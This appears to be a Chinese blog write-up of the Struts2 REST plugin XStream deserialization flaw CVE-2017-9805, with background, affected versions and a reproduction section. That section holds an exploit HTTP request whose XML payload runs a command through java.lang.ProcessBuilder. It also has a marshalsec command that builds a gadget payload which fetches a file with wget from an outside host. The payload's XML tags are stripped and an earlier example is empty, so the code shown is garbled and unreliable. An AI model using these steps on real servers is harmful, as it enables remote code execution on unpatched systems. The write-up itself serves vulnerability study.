(CVE-2017-9805)s2-052

(CVE-2017-9805)s2-052
=======================

一、漏洞简介
————

Struts2-Rest-Plugin是让Struts2能够实现Restful
API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

扩展名 Content-Type 解析方法
——– ———————————– ————————
xml application/xml xstream
json application/json jsonlib或jackson(可选)
xhtml application/xhtml+xml 无
无 application/x-www-form-urlencoded 无
无 multipart/form-data 无

jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag
name指定需要实例化的类名:


//或者

所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedgetType。

> 总得来说,用了Struts2-Rest-Plugin插件,这个插件是根据Content-Type或者扩展名来选择解析方法,xstream在默认情况下是可以引入任意对象的,所以他在处理xml的时候会发生RCE(xstream处理xml数据时,未对数据做任何过滤,在反序列化将xml数据转换成object时导致的RCE)。利用起来就是改Content-Type或扩展名
> .xml application/xml 发恶意xml

二、漏洞影响
————

Struts 2.1.2 – Struts 2.3.33

Struts 2.5 – Struts 2.5.12

三、复现过程
————

POC

**没回显 Response 500 但命令执行**

POST /orders/3 HTTP/1.1
Host: 10.17.14.18:8081
Content-Length: 1655
Cache-Control: max-age=0
Origin: http://www.0-sec.org:8081
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://10.17.14.18:8081/orders/3/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7
Cookie: JSESSIONID=249144A9BEB141072470A76C2A61D663
Connection: close


0 false 0 /usr/bin/touch/tmp/vuln false java.lang.ProcessBuilder start foo foo false 0 0 false false 0


访问ip:port 直接到/orders 你可以直接change method 然后加上body
改Content-type 为xml Response status code 500 执行成功了(不要怀疑
我也怀疑 后来看了一下文件 是真的)

也可以编辑之后保存 会有一个POST /orders/5 或者其他数字 有body的 改掉body
改Content-type 为xml 也可以执行

编辑完之后还会有一个/orders.xhtml?statusCode=303 change method 删掉body
改Content-type 为xml 文件名就不用改了 不然404了

> payload生成> 下载 https://github.com/ianxtianxt/marshalsec> mvn clean package -DskipTests> java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO
> wget www.0-sec.org -O /tmp/1.html \>1.txt> 注:针对XStream支持很多种Payload,找一个Struts2也支持的即可,需要找到Struts2库中适用的gedget(事实上我找了,都试了,只有ImageIO好使,文章的都是骗人了,哭了)

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容